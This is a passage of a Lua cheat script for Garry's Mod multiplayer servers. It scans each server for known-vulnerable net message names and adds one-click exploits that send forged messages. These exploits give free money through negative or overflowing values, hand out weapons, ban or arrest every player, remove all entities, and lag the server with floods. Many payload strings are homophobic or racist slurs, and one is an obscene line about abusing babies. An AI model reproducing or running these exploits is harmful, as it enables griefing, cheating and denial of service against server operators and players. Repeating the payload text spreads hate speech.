4995 net.Start("start_wd_hack")
4996 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4997 net.SendToServer()
4998 end)
4999 end
5000
5001 status = ValidNetString("bringNfreeze")
5002
5003 if (status) then
5004 ECPrint("Found Exploit: Ban Exploit [bringNfreeze]")
5005
5006 addExploit("191", "Ban Exploit", "", function()
5007 surface.PlaySound("garrysmod/ui_click.wav")
5008 ECNotify("Starting")
5009
5010 for k, v in pairs(player.GetAll()) do
5011 net.Start('bringNfreeze')
5012 net.WriteEntity(self)
5013 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
5014 net.SendToServer()
5015 end
5016 end)
5017 end
5018
5019 status = ValidNetString("JoinFirstSS")
5020
5021 if (status) then
5022 ECPrint("Found Exploit: Join First SS [JoinFirstSS]")
5023
5024 addExploit("192", "Join First SS", "", function()
5025 surface.PlaySound("garrysmod/ui_click.wav")
5026 ECNotify("Starting")
5027 net.Start("JoinFirstSS")
5028 net.WriteEntity(LocalPlayer())
5029 net.SendToServer()
5030 end)
5031 end
5032
5033 status = ValidNetString("unarrestPerson")
5034
5035 if (status) then
5036 ECPrint("Found Exploit: Unarrest Person [unarrestPerson]")
5037
5038 addExploit("193", "Unarrest Person", "", function()
5039 surface.PlaySound("garrysmod/ui_click.wav")
5040 ECNotify("Starting")
5041
5042 for k, v in pairs(player.GetAll()) do
5043 net.Start("unarrestPerson")
5044 net.WriteEntity(v)
5045 net.SendToServer()
5046 end
5047 end)
5048 end
5049
5050 status = ValidNetString("giveArrestReason")
5051
5052 if (status) then
5053 ECPrint("Found Exploit: Give Arrest Reason [giveArrestReason]")
5054
5055 addExploit("194", "Give Arrest Reason", "", function()
5056 surface.PlaySound("garrysmod/ui_click.wav")
5057 ECNotify("Starting")
5058
5059 for k, v in pairs(player.GetAll()) do
5060 net.Start("giveArrestReason")
5061 net.WriteEntity(LocalPlayer())
5062 net.WriteEntity(v)
5063 net.WriteString("Faggot")
5064 net.SendToServer()
5065 end
5066 end)
5067 end
5068
5069 status = ValidNetString("sellitem")
5070
5071 if (status) then
5072 ECPrint("Found Exploit: Free Money #24 [sellitem]")
5073
5074 addExploit("195", "Free Money #24", "", function()
5075 surface.PlaySound("garrysmod/ui_click.wav")
5076 ECNotify("Starting")
5077 net.Start("sellitem")
5078 net.WriteString(self)
5079 net.WriteEntity(LocalPlayer())
5080 net.SendToServer()
5081 end)
5082 end
5083
5084 status = ValidNetString("createFaction")
5085
5086 if (status) then
5087 ECPrint("Found Exploit: Create Faction [createFaction]")
5088
5089 addExploit("196", "Create Faction", "", function()
5090 surface.PlaySound("garrysmod/ui_click.wav")
5091 ECNotify("Starting")
5092
5093 for k, v in pairs(player.GetAll()) do
5094 net.Start("createFaction")
5095 net.WriteEntity(v)
5096 net.WriteString("I FUCKED SO MANY BABIES TODAY WOOOOOOOOOOOOOOOOOOOOOOOO")
5097 net.SendToServer()
5098 end
5099 end)
5100 end
5101
5102 status = ValidNetString("inviteToOrganization")
5103
5104 if (status) then
5105 ECPrint("Found Exploit: Faction Invite All [inviteToOrganization]")
5106
5107 addExploit("197", "Faction Invite All", "", function()
5108 surface.PlaySound("garrysmod/ui_click.wav")
5109 ECNotify("Starting")
5110
5111 for k, v in pairs(player.GetAll()) do
5112 net.Start("inviteToOrganization")
5113 net.WriteEntity(v)
5114 net.WriteEntity(LocalPlayer())
5115 net.SendToServer()
5116 end
5117 end)
5118 end
5119
5120 status = ValidNetString("GovStation_SpawnVehicle")
5121
5122 if (status) then
5123 ECPrint("Found Exploit: Gov Spawn [GovStation_SpawnVehicle]")
5124
5125 addExploit("198", "Gov Spawn", "", function()
5126 surface.PlaySound("garrysmod/ui_click.wav")
5127 ECNotify("Starting")
5128
5129 for k, v in pairs(ents.GetAll()) do
5130 net.Start("GovStation_SpawnVehicle")
5131 net.WriteString("GOV_POLICE")
5132 net.SendToServer()
5133 end
5134 end)
5135 end
5136
5137 status = ValidNetString("GiveWeapon")
5138
5139 if (status) then
5140 ECPrint("Found Exploit: Give Weapons #3 [GiveWeapon]")
5141
5142 addExploit("199", "Give Weapons #3", "get weapons", function()
5143 surface.PlaySound("garrysmod/ui_click.wav")
5144 ECNotify("Starting")
5145 net.Start("GiveWeapon")
5146 net.WriteEntity(LocalPlayer())
5147 net.WriteString("m9k_davy_crockett")
5148 net.WriteFloat(0)
5149 net.SendToServer()
5150 end)
5151 end
5152
5153 status = ValidNetString("DailyLoginClaim")
5154
5155 if (status) then
5156 ECPrint("Found Exploit: Daily Login Reward [DailyLoginClaim]")
5157
5158 addExploit("200", "Daily Login Reward", "", function()
5159 surface.PlaySound("garrysmod/ui_click.wav")
5160 ECNotify("Starting")
5161 net.Start("DailyLoginClaim")
5162 net.SendToServer()
5163 end)
5164 end
5165
5166 status = ValidNetString("DL_AskLogsList")
5167
5168 if (status) then
5169 ECPrint("Found Exploit: Ask Log List [DL_AskLogsList]")
5170
5171 addExploit("201", "Ask Log List", "", function()
5172 surface.PlaySound("garrysmod/ui_click.wav")
5173 ECNotify("Starting")
5174 net.Start("DL_AskLogsList")
5175 net.SendToServer()
5176 end)
5177 end
5178
5179 status = ValidNetString("DL_StartReport")
5180
5181 if (status) then
5182 ECPrint("Found Exploit: DL Report All [DL_StartReport | DL_ReportPlayer]")
5183
5184 addExploit("202", "DL Report All", "", function()
5185 surface.PlaySound("garrysmod/ui_click.wav")
5186 ECNotify("Starting")
5187
5188 for k, v in pairs(player.GetAll()) do
5189 net.Start("DL_StartReport")
5190 net.SendToServer()
5191 net.Start("DL_ReportPlayer")
5192 net.WriteEntity(v)
5193 net.WriteString("Hes being a gay faggot plz ban him")
5194 net.SendToServer()
5195 end
5196 end)
5197 end
5198
5199 status = ValidNetString("sv_saveweapons")
5200
5201 if (status) then
5202 ECPrint("Found Exploit: TTT Weapons Exploit [sv_saveweapons]")
5203
5204 addExploit("203", "DL Report All", "", function()
5205 surface.PlaySound("garrysmod/ui_click.wav")
5206 ECNotify("Starting")
5207 net.Start("sv_saveweapons")
5208 net.WriteString("weapon_ttt_rpg")
5209 net.WriteString("weapon_ttt_rpg")
5210 net.WriteString("eg")
5211 net.SendToServer()
5212 end)
5213 end
5214
5215 status = ValidNetString("SpecDM_SendLoadout")
5216
5217 if (status) then
5218 ECPrint("Found Exploit: SpecDM Exploit [SpecDM_SendLoadout]")
5219
5220 addExploit("204", "SpecDM Exploit", "", function()
5221 surface.PlaySound("garrysmod/ui_click.wav")
5222 ECNotify("Starting")
5223 net.Start("SpecDM_SendLoadout")
5224 net.WriteString("eg")
5225 net.WriteString("weapon_ttt_defib")
5226 net.SendToServer()
5227 end)
5228 end
5229
5230 status = ValidNetString("PowerRoundsForcePR")
5231
5232 if (status) then
5233 ECPrint("Found Exploit: Power Rounds Force [PowerRoundsForcePR]")
5234
5235 addExploit("205", "Power Rounds Force", "", function()
5236 surface.PlaySound("garrysmod/ui_click.wav")
5237 ECNotify("Starting")
5238 net.Start("PowerRoundsForcePR")
5239 net.SendToServer()
5240 end)
5241 end
5242
5243 status = ValidNetString("wyozimc_playply")
5244
5245 if (status) then
5246 ECPrint("Found Exploit: Wyozimc Music Exploit [wyozimc_playply]")
5247
5248 addExploit("206", "Wyozimc Music Exploit", "", function()
5249 surface.PlaySound("garrysmod/ui_click.wav")
5250 ECNotify("Starting")
5251
5252 for k, v in pairs(player.GetAll()) do
5253 net.Start("wyozimc_playply")
5254 net.WriteEntity(v)
5255 net.WriteString("https://www.youtube.com/watch?v=2fSeiKs6MYY")
5256 net.SendToServer()
5257 end
5258 end)
5259 end
5260
5261 status = ValidNetString("SendSteamID")
5262
5263 if (status) then
5264 ECPrint("Found Exploit: Send Mail's [SendSteamID]")
5265
5266 addExploit("207", "Send Mail's", "", function()
5267 surface.PlaySound("garrysmod/ui_click.wav")
5268 ECNotify("Starting")
5269
5270 for k, v in pairs(player.GetAll()) do
5271 net.Start("SendSteamID")
5272 net.WriteEntity(v)
5273 net.WriteString("Faggot")
5274 net.WriteString("Faggot")
5275 net.SendToServer()
5276 end
5277 end)
5278 end
5279
5280 status = ValidNetString("JB_GiveCubics")
5281
5282 if (status) then
5283 ECPrint("Found Exploit: Give Cubics All [JB_GiveCubics]")
5284
5285 addExploit("208", "Give Cubics All", "", function()
5286 surface.PlaySound("garrysmod/ui_click.wav")
5287 ECNotify("Starting")
5288
5289 for k, v in pairs(player.GetAll()) do
5290 net.Start("JB_GiveCubics")
5291 net.WriteEntity(v)
5292 net.WriteInt(math.floor(dwang:GetValue()), 255)
5293 net.SendToServer()
5294 end
5295 end)
5296 end
5297
5298 status = ValidNetString("JB_SelectWarden")
5299
5300 if (status) then
5301 ECPrint("Found Exploit: Select Warden All [JB_SelectWarden]")
5302
5303 addExploit("209", "Select Warden All", "", function()
5304 surface.PlaySound("garrysmod/ui_click.wav")
5305 ECNotify("Starting")
5306
5307 for k, v in pairs(player.GetAll()) do
5308 net.Start("JB_SelectWarden")
5309 net.WriteEntity(v)
5310 net.SendToServer()
5311 end
5312 end)
5313 end
5314
5315 status = ValidNetString("RDMReason_Explain")
5316
5317 if (status) then
5318 ECPrint("Found Exploit: RDM Explain [RDMReason_Explain]")
5319
5320 addExploit("210", "RDM Explain", "", function()
5321 surface.PlaySound("garrysmod/ui_click.wav")
5322 ECNotify("Starting")
5323
5324 for k, v in pairs(player.GetAll()) do
5325 net.Start("RDMReason_Explain")
5326
5327 net.WriteTable({
5328 id = v,
5329 reason = fgt
5330 })
5331
5332 net.SendToServer()
5333 end
5334 end)
5335 end
5336
5337 status = ValidNetString("redirectMsg")
5338
5339 if (status) then
5340 ECPrint("Found Exploit: Redirect Message [redirectMsg]")
5341
5342 addExploit("211", "Redirect Message", "", function()
5343 surface.PlaySound("garrysmod/ui_click.wav")
5344 ECNotify("Starting")
5345 net.Start("redirectMsg")
5346 net.WriteString("Fuck you! YOUR ALL FAGGOTS!")
5347 net.SendToServer()
5348 end)
5349 end
5350
5351 status = ValidNetString("LB_AddBan")
5352
5353 if (status) then
5354 ECPrint("Found Exploit: LB Ban [LB_AddBan]")
5355
5356 addExploit("212", "LB Ban", "", function()
5357 surface.PlaySound("garrysmod/ui_click.wav")
5358 ECNotify("Starting")
5359
5360 for k, v in pairs(player.GetAll()) do
5361 if v ~= LocalPlayer() then
5362 net.Start("LB_AddBan")
5363 net.WriteString("STEAM_0:0:71238382")
5364 net.WriteString("fgt")
5365 net.SendToServer()
5366 end
5367 end
5368 end)
5369 end
5370
5371 status = ValidNetString("GET_Admin_MSGS")
5372
5373 if (status) then
5374 ECPrint("Found Exploit: Brass Admin Chat [GET_Admin_MSGS | OPEN_ADMIN_CHAT]")
5375
5376 addExploit("213", "Brass Admin Chat", "", function()
5377 surface.PlaySound("garrysmod/ui_click.wav")
5378 ECNotify("Starting")
5379 net.Start("GET_Admin_MSGS")
5380 net.SendToServer()
5381 net.Start("OPEN_ADMIN_CHAT")
5382 net.SendToServer()
5383 end)
5384 end
5385
5386 status = ValidNetString("br_send_pm")
5387
5388 if (status) then
5389 ECPrint("Found Exploit: Brass Email Send All [br_send_pm]")
5390
5391 addExploit("214", "Brass Email Send All", "", function()
5392 surface.PlaySound("garrysmod/ui_click.wav")
5393 ECNotify("Starting")
5394
5395 for k, v in pairs(player.GetAll()) do
5396 if v ~= LocalPlayer() then
5397 net.Start("br_send_pm")
5398 net.WriteString(v)
5399 net.WriteString("FGT")
5400 net.WriteEntity(v)
5401 net.SendToServer()
5402 end
5403 end
5404 end)
5405 end
5406
5407 status = ValidNetString("LAWYER.BailFelonOut")
5408
5409 if (status) then
5410 ECPrint("Found Exploit: Bail Felon Out [LAWYER.BailFelonOut]")
5411
5412 addExploit("215", "Bail Felon Out", "", function()
5413 surface.PlaySound("garrysmod/ui_click.wav")
5414 ECNotify("Starting")
5415 net.Start("LAWYER.BailFelonOut")
5416 net.WriteString("1")
5417 net.WriteString("fgt")
5418 net.SendToServer()
5419 end)
5420 end
5421
5422 status = ValidNetString("LAWYER.GetBailOut")
5423
5424 if (status) then
5425 ECPrint("Found Exploit: Get Bail Out [LAWYER.GetBailOut]")
5426
5427 addExploit("216", "Get Bail Out", "", function()
5428 surface.PlaySound("garrysmod/ui_click.wav")
5429 ECNotify("Starting")
5430 net.Start("LAWYER.GetBailOut")
5431 net.WriteString("Mick")
5432 net.WriteString("Mick")
5433 net.WriteString("1000000")
5434 net.SendToServer()
5435 end)
5436 end
5437
5438 status = ValidNetString("GrabMoney")
5439
5440 if (status) then
5441 ECPrint("Found Exploit: Get Bail Out [GrabMoney]")
5442
5443 addExploit("217", "Get Bail Out", "", function()
5444 surface.PlaySound("garrysmod/ui_click.wav")
5445 ECNotify("Starting")
5446
5447 for k, v in pairs(ents.GetAll()) do
5448 if v:GetClass() == "gold" then
5449 if v:GetClass() == "silver" then
5450 if v:GetClass() == "vip" then
5451 if v:GetClass() == "vipgold" then
5452 net.Start("GrabMoney")
5453 net.WriteEntity(LocalPlayer())
5454 net.SendToServer()
5455 end
5456 end
5457 end
5458 end
5459 end
5460 end)
5461 end
5462
5463 status = ValidNetString("nox_addpremadepunishment")
5464
5465 if (status) then
5466 ECPrint("Found Exploit: Nox Ban [nox_addpremadepunishment]")
5467
5468 addExploit("218", "Nox Ban", "", function()
5469 surface.PlaySound("garrysmod/ui_click.wav")
5470 ECNotify("Starting")
5471
5472 for k, v in pairs(player.GetAll()) do
5473 if v ~= LocalPlayer() then
5474 net.Start("nox_addpremadepunishment")
5475 net.WriteEntity("Sun")
5476 net.WriteUInt(2, 8)
5477 net.SendToServer()
5478 end
5479 end
5480 end)
5481 end
5482
5483 status = ValidNetString("NET_CR_TakeStoredMoney")
5484
5485 if (status) then
5486 ECPrint("Found Exploit: Steal Registry Money [NET_CR_TakeStoredMoney]")
5487
5488 addExploit("219", "Steal Registry Money", "", function()
5489 surface.PlaySound("garrysmod/ui_click.wav")
5490 ECNotify("Starting")
5491
5492 for k, v in pairs(ents.GetAll()) do
5493 if v:GetClass() == "ss_cash_registry" then
5494 net.Start('NET_CR_TakeStoredMoney')
5495 net.WriteEntity("ss_cash_registry")
5496 net.WriteEntity(LocalPlayer())
5497 net.SendToServer()
5498 end
5499 end
5500 end)
5501 end
5502
5503 status = ValidNetString("HV_AmmoBuy")
5504
5505 if (status) then
5506 ECPrint("Found Exploit: HV Free Ammo [HV_AmmoBuy]")
5507
5508 addExploit("220", "HV Free Ammo", "", function()
5509 surface.PlaySound("garrysmod/ui_click.wav")
5510 ECNotify("Starting")
5511 net.Start("HV_AmmoBuy")
5512 net.WriteFloat("2")
5513 net.SendToServer()
5514 net.Start("HV_AmmoBuy")
5515 net.WriteFloat("1")
5516 net.SendToServer()
5517 end)
5518 end
5519
5520 status = ValidNetString("hitcomplete")
5521
5522 if (status) then
5523 ECPrint("Found Exploit: Super RP Hit [hitcomplete]")
5524
5525 addExploit("221", "Super RP Hit", "", function()
5526 surface.PlaySound("garrysmod/ui_click.wav")
5527 ECNotify("Starting")
5528
5529 for k, v in pairs(player.GetAll()) do
5530 if v ~= LocalPlayer() then
5531 net.Start("hitcomplete")
5532 net.WriteEntity(v)
5533 net.SendToServer()
5534 end
5535 end
5536 end)
5537 end
5538
5539 status = ValidNetString("SyncRemoveAction")
5540
5541 if (status) then
5542 ECPrint("Found Exploit: Remove All [SyncRemoveAction]")
5543
5544 addExploit("222", "Remove All", "", function()
5545 surface.PlaySound("garrysmod/ui_click.wav")
5546 ECNotify("Starting")
5547
5548 for k, v in pairs(ents.GetAll()) do
5549 net.Start("SyncRemoveAction")
5550 net.WriteEntity(v)
5551 net.SendToServer()
5552 end
5553 end)
5554 end
5555
5556 status = ValidNetString("TMC_NET_MakePlayerWanted")
5557
5558 if (status) then
5559 ECPrint("Found Exploit: Make All Wanted [TMC_NET_MakePlayerWanted]")
5560
5561 addExploit("223", "Make All Wanted", "", function()
5562 surface.PlaySound("garrysmod/ui_click.wav")
5563 ECNotify("Starting")
5564
5565 for k, v in pairs(player.GetAll()) do
5566 net.Start("TMC_NET_MakePlayerWanted")
5567 net.WriteString("bad")
5568 net.WriteString("bad")
5569 net.SendToServer()
5570 end
5571 end)
5572 end
5573
5574 status = ValidNetString("thiefnpc")
5575
5576 if (status) then
5577 ECPrint("Found Exploit: Thief NPC [thiefnpc]")
5578
5579 addExploit("224", "Thief NPC", "", function()
5580 surface.PlaySound("garrysmod/ui_click.wav")
5581 ECNotify("Starting")
5582 net.Start('thiefnpc')
5583 net.WriteDouble(-99999999999999999)
5584 net.SendToServer()
5585 end)
5586 end
5587
5588 status = ValidNetString("TMC_NET_FirePlayer")
5589
5590 if (status) then
5591 ECPrint("Found Exploit: Fire Player [TMC_NET_FirePlayer]")
5592
5593 addExploit("225", "Fire Player", "", function()
5594 surface.PlaySound("garrysmod/ui_click.wav")
5595 ECNotify("Starting")
5596 net.Start("TMC_NET_FirePlayer")
5597 net.WriteString("Paypal")
5598 net.SendToServer()
5599 end)
5600 end
5601
5602 status = ValidNetString("updateLaws")
5603
5604 if (status) then
5605 ECPrint("Found Exploit: Update Laws [updateLaws]")
5606
5607 addExploit("226", "Update Laws", "", function()
5608 surface.PlaySound("garrysmod/ui_click.wav")
5609 ECNotify("Starting")
5610 net.Start("updateLaws")
5611 net.WriteString("Bitch")
5612 net.SendToServer()
5613 end)
5614 end
5615
5616 status = ValidNetString("LotteryMenu")
5617
5618 if (status) then
5619 ECPrint("Found Exploit: Free Money #25 [LotteryMenu]")
5620
5621 addExploit("227", "Free Money #25", "", function()
5622 surface.PlaySound("garrysmod/ui_click.wav")
5623 ECNotify("Starting")
5624 net.Start("LotteryMenu")
5625 net.WriteEntity(LocalPlayer())
5626 net.WriteInt(1000000000000000000, 16)
5627 net.SendToServer()
5628 end)
5629 end
5630
5631 status = ValidNetString("soundArrestCommit")
5632
5633 if (status) then
5634 ECPrint("Found Exploit: Sound Arrest [soundArrestCommit]")
5635
5636 addExploit("228", "Sound Arrest", "", function()
5637 surface.PlaySound("garrysmod/ui_click.wav")
5638 ECNotify("Starting")
5639 net.Start("soundArrestCommit")
5640 net.WriteString("Shit")
5641 net.SendToServer()
5642 end)
5643 end
5644
5645 status = ValidNetString("hoverboardpurchase")
5646
5647 if (status) then
5648 ECPrint("Found Exploit: Hover Board [hoverboardpurchase]")
5649
5650 addExploit("229", "Hover Board", "", function()
5651 surface.PlaySound("garrysmod/ui_click.wav")
5652 ECNotify("Starting")
5653 net.Start("hoverboardpurchase")
5654 net.WriteInt(8, 32)
5655 net.SendToServer()
5656 end)
5657 end
5658
5659 status = ValidNetString("SpawnProtection")
5660
5661 if (status) then
5662 ECPrint("Found Exploit: Off Spawn Protection [SpawnProtection]")
5663
5664 addExploit("230", "Off Spawn Protection", "", function()
5665 surface.PlaySound("garrysmod/ui_click.wav")
5666 ECNotify("Starting")
5667 net.Start("SpawnProtection")
5668 net.WriteFloat(0)
5669 net.SendToServer()
5670 end)
5671 end
5672
5673 status = ValidNetString("NPCShop_BuyItem")
5674
5675 if (status) then
5676 ECPrint("Found Exploit: NPC Shop [NPCShop_BuyItem]")
5677
5678 addExploit("231", "NPC Shop", "", function()
5679 surface.PlaySound("garrysmod/ui_click.wav")
5680 ECNotify("Starting")
5681 net.Start("NPCShop_BuyItem")
5682 net.WriteString("weapon_hack_phone")
5683 net.SendToServer()
5684 end)
5685 end
5686
5687 status = ValidNetString("CubeRiot CaptureZone Update")
5688
5689 if (status) then
5690 ECPrint("Found Exploit: CubeRiot Exploit [CubeRiot CaptureZone Update]")
5691
5692 addExploit("232", "CubeRiot Exploit", "", function()
5693 surface.PlaySound("garrysmod/ui_click.wav")
5694 ECNotify("Starting")
5695 net.Start("CubeRiot CaptureZone Update")
5696 net.WriteUInt(1, 8)
5697 net.WriteVector("2654.989258 2254.119629 -139.968750")
5698 net.WriteVector("2654.989258 2254.119629 -139.968750")
5699 net.SendToServer()
5700 end)
5701 end
5702
5703 status = ValidNetString("deposit")
5704
5705 if (status) then
5706 ECPrint("Found Exploit: Free Money #26 [deposit]")
5707
5708 addExploit("233", "Free Money #26", "", function()
5709 surface.PlaySound("garrysmod/ui_click.wav")
5710 ECNotify("Starting")
5711 net.Start("deposit")
5712 net.WriteString("-10000000000000000000000")
5713 net.SendToServer()
5714 end)
5715 end
5716
5717 status = ValidNetString("AcceptRequest")
5718
5719 if (status) then
5720 ECPrint("Found Exploit: Call Exploit [AcceptRequest]")
5721
5722 addExploit("234", "Call Exploit", "", function()
5723 surface.PlaySound("garrysmod/ui_click.wav")
5724 ECNotify("Starting")
5725
5726 for k, v in pairs(player.GetAll()) do
5727 net.Start("AcceptRequest")
5728 net.WriteEntity(v)
5729 net.SendToServer()
5730 end
5731 end)
5732 end
5733
5734 status = ValidNetString("Chess ClientWager")
5735
5736 if (status) then
5737 ECPrint("Found Exploit: Chess Exploit [Chess ClientWager | Chess ClientResign]")
5738
5739 addExploit("235", "Chess Exploit", "", function()
5740 surface.PlaySound("garrysmod/ui_click.wav")
5741 ECNotify("Starting")
5742 net.Start("Chess ClientWager")
5743 net.WriteUInt(-999999999999999999999999999, 24)
5744 net.SendToServer()
5745 net.Start("Chess ClientResign")
5746 net.SendToServer()
5747 end)
5748 end
5749
5750 status = ValidNetString("netOrgVoteInvite_Server")
5751
5752 if (status) then
5753 ECPrint("Found Exploit: Org Invite All [netOrgVoteInvite_Server]")
5754
5755 addExploit("236", "Org Invite All", "", function()
5756 surface.PlaySound("garrysmod/ui_click.wav")
5757 ECNotify("Starting")
5758
5759 for k, v in pairs(player.GetAll()) do
5760 net.Start("netOrgVoteInvite_Server")
5761 net.WriteEntity(v)
5762 net.SendToServer()
5763 end
5764 end)
5765 end
5766
5767 status = ValidNetString("donatorshop_itemtobuy")
5768
5769 if (status) then
5770 ECPrint("Found Exploit: Donator Box Exploit [donatorshop_itemtobuy]")
5771
5772 addExploit("237", "Donator Box Exploit", "", function()
5773 surface.PlaySound("garrysmod/ui_click.wav")
5774 ECNotify("Starting")
5775 net.Start("donatorshop_itemtobuy")
5776 net.WriteString("DonatorShopBuyTripwire")
5777 net.SendToServer()
5778 end)
5779 end
5780
5781 status = ValidNetString("AskPickupItemInv")
5782
5783 if (status) then
5784 ECPrint("Found Exploit: Ask Item [AskPickupItemInv]")
5785
5786 addExploit("238", "Ask Item", "", function()
5787 surface.PlaySound("garrysmod/ui_click.wav")
5788 ECNotify("Starting")
5789
5790 for k, v in pairs(player.GetAll()) do
5791 net.Start("AskPickupItemInv")
5792 net.WriteUInt(4, 16)
5793 net.WriteUInt(1, 16)
5794 net.SendToServer()
5795 end
5796 end)
5797 end
5798
5799 status = ValidNetString("buy_bundle")
5800
5801 if (status) then
5802 ECPrint("Found Exploit: Buy Bundle [buy_bundle]")
5803
5804 addExploit("239", "Buy Bundle", "", function()
5805 surface.PlaySound("garrysmod/ui_click.wav")
5806 ECNotify("Starting")
5807 net.Start("buy_bundle")
5808 net.WriteFloat(1, 16)
5809 net.SendToServer()
5810 end)
5811 end
5812
5813 status = ValidNetString("LawyerOfferBail")
5814
5815 if (status) then
5816 ECPrint("Found Exploit: Lawyer Off Bail [LawyerOfferBail | AcceptBailOffer]")
5817
5818 addExploit("240", "Lawyer Off Bail", "", function()
5819 surface.PlaySound("garrysmod/ui_click.wav")
5820 ECNotify("Starting")
5821
5822 for k, v in pairs(player.GetAll()) do
5823 net.Start("LawyerOfferBail")
5824 net.WriteEntity(v)
5825 net.WriteUInt(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
5826 net.SendToServer()
5827 net.Start("AcceptBailOffer")
5828 net.WriteEntity(v)
5829 net.WriteUInt(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
5830 net.SendToServer()
5831 end
5832 end)
5833 end
5834
5835 status = ValidNetString("MineServer")
5836
5837 if (status) then
5838 ECPrint("Found Exploit: Lagger #22 [MineServer]")
5839
5840 addExploit("241", "Lagger #22", "lags", function()
5841 surface.PlaySound("garrysmod/ui_click.wav")
5842 ECNotify("Starting")
5843
5844 for i = 0, 100 do
5845 for k, v in pairs(player.GetAll()) do
5846 net.Start("MineServer", true)
5847 net.WriteString("sell")
5848 net.WriteEntity(v)
5849 net.WriteString("Fuck you. Gonna ddos this shitty ass server niggers")
5850 net.SendToServer()
5851 end
5852 end
5853 end)
5854 end
5855
5856 status = ValidNetString("Gb_gasstation_BuyGas")
5857
5858 if (status) then
5859 ECPrint("Found Exploit: Ukrainian gas [Gb_gasstation_BuyGas | Gb_gasstation_BuyJerrycan]")
5860
5861 addExploit("242", "Ukrainian gas", "", function()
5862 surface.PlaySound("garrysmod/ui_click.wav")
5863 ECNotify("Starting")
5864 net.Start("Gb_gasstation_BuyGas")
5865 net.SendToServer()
5866 net.Start("Gb_gasstation_BuyJerrycan")
5867 net.SendToServer()
5868 end)
5869 end
5870
5871 status = ValidNetString("D3A_CreateOrg")
5872
5873 if (status) then
5874 ECPrint("Found Exploit: D3A Create Org [D3A_CreateOrg]")
5875
5876 addExploit("243", "D3A Create Org", "", function()
5877 surface.PlaySound("garrysmod/ui_click.wav")
5878 ECNotify("Starting")
5879 net.Start("D3A_CreateOrg")
5880 net.WriteString('969690485273489312467812367128312312314')
5881 net.WriteString('123712983712984571298712398')
5882 net.WriteString("255 255 255")
5883 net.SendToServer()
5884 end)
5885 end
5886
5887 status = ValidNetString("Shop_buy")
5888
5889 if (status) then
5890 ECPrint("Found Exploit: SUP Buy Armor [Shop_buy]")
5891
5892 addExploit("244", "SUP Buy Armor", "", function()
5893 surface.PlaySound("garrysmod/ui_click.wav")
5894 ECNotify("Starting")
5895 net.Start("Shop_buy")
5896 net.WriteString("Armor")
5897 net.SendToServer()
5898 end)
5899 end
5900
5901 status = ValidNetString("LawsToServer")
5902
5903 if (status) then
5904 ECPrint("Found Exploit: SUP New Laws [LawsToServer]")
5905
5906 addExploit("245", "SUP New Laws", "", function()
5907 surface.PlaySound("garrysmod/ui_click.wav")
5908 ECNotify("Starting")
5909 net.Start("LawsToServer")
5910 net.WriteString("FAGGOTS")
5911 net.SendToServer()
5912 end)
5913 end
5914
5915 status = ValidNetString("D3A_Message")
5916
5917 if (status) then
5918 ECPrint("Found Exploit: D3A Message [D3A_Message]")
5919
5920 addExploit("246", "D3A Message", "", function()
5921 surface.PlaySound("garrysmod/ui_click.wav")
5922 ECNotify("Starting")
5923 local stuff = {}
5924 net.Start("D3A_Message")
5925 net.WriteString("FAGGOTS")
5926 net.WriteTable(stuff)
5927 net.SendToServer()
5928 end)
5929 end
5930
5931 status = ValidNetString("misswd_accept")
5932
5933 if (status) then
5934 ECPrint("Found Exploit: Misswd Accept [misswd_accept]")
5935
5936 addExploit("247", "Misswd Accept", "", function()
5937 surface.PlaySound("garrysmod/ui_click.wav")
5938 ECNotify("Starting")
5939
5940 for k, v in pairs(player.GetAll()) do
5941 for i = 0, 100 do
5942 net.Start("misswd_accept")
5943 net.WriteEntity(v)
5944 net.SendToServer()
5945 end
5946 end
5947 end)
5948 end
5949
5950 status = ValidNetString("ScannerMenu")
5951
5952 if (status) then
5953 ECPrint("Found Exploit: Scanner Exploit [ScannerMenu]")
5954
5955 addExploit("248", "Scanner Exploit", "", function()
5956 surface.PlaySound("garrysmod/ui_click.wav")
5957 ECNotify("Starting")
5958
5959 for k, v in pairs(player.GetAll()) do
5960 net.Start("ScannerMenu")
5961 net.WriteEntity(v)
5962 net.WriteFloat(1)
5963 net.WriteFloat(1)
5964 net.SendToServer()
5965 end
5966 end)
5967 end
5968
5969 status = ValidNetString("ORG_NewOrg")
5970
5971 if (status) then
5972 ECPrint("Found Exploit: New ORG [ORG_NewOrg]")
5973
5974 addExploit("249", "New ORG", "", function()
5975 surface.PlaySound("garrysmod/ui_click.wav")
5976 ECNotify("Starting")
5977 net.Start("ORG_NewOrg")
5978 net.WriteString("I FUCKING HATE YOU!")
5979 net.SendToServer()
5980 end)
5981 end
5982
5983 status = ValidNetString("ORG_VaultDonate")
5984
5985 if (status) then
5986 ECPrint("Found Exploit: Free Money #27 [ORG_VaultDonate]")
5987
5988 addExploit("250", "Free Money #27", "", function()
5989 surface.PlaySound("garrysmod/ui_click.wav")
5990 ECNotify("Starting")
5991 net.Start("ORG_VaultDonate")
5992 net.WriteFloat(-1000000000000000000000000000000000000000000000000000000)
5993 net.SendToServer()
5994 end)
5995 end
5996
5997 status = ValidNetString("Selldatride")
5998
5999 if (status) then
6000 ECPrint("Found Exploit: Sell Datride [Selldatride]")
6001
6002 addExploit("251", "Sell Datride", "", function()
6003 surface.PlaySound("garrysmod/ui_click.wav")
6004 ECNotify("Starting")
6005
6006 for k, v in pairs(player.GetAll()) do
6007 net.Start("Selldatride")
6008 net.WriteEntity(v)
6009 net.SendToServer()
6010 end
6011 end)
6012 end
6013
6014 status = ValidNetString("passmayorexam")
6015
6016 if (status) then
6017 ECPrint("Found Exploit: Passexam Exploit [passmayorexam]")
6018
6019 addExploit("252", "Passexam Exploit", "", function()
6020 surface.PlaySound("garrysmod/ui_click.wav")
6021 ECNotify("Starting")
6022 net.Start("passmayorexam")
6023 net.SendToServer()
6024 end)
6025 end
6026
6027 status = ValidNetString("levelup_useperk")
6028
6029 if (status) then
6030 ECPrint("Found Exploit: LevelUp Exploit [levelup_useperk]")
6031
6032 addExploit("253", "LevelUp Exploit", "", function()
6033 surface.PlaySound("garrysmod/ui_click.wav")
6034 ECNotify("Starting")
6035 net.Start("levelup_useperk")
6036 net.WriteInt(1, 8)
6037 net.WriteInt(2, 8)
6038 net.WriteInt(3, 8)
6039 net.WriteInt(4, 8)
6040 net.SendToServer()
6041 end)
6042 end
6043
